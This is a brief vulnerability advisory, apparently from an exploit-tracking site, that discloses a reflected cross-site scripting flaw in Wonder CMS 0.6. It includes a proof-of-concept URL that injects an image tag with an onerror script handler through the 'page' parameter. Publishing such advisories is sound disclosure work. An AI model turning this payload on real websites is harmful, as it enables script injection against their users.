Wonder CMS 0.6 Cross Site Scripting

2015.03.18
Credit: Provensec
Risk: Low
Local: No
Remote: Yes
CVE: N/A
CWE: CWE-79

# Affected software: wonder cms # Type of vulnerability: xss # URL: wondercms.com # Discovered by: Provensec # Website: http://www.provensec.com #version 0.6 # Proof of concept http://wondercms.com/labs/06beta/?page=%22%3E%3Cimg%20src=d%20onerror=confirm%281%29;%3E


See this note in RAW Version
Vote for this issue:
50%
50%

Comment it here.
Copyright 2025, cxsecurity.com

 

Back to Top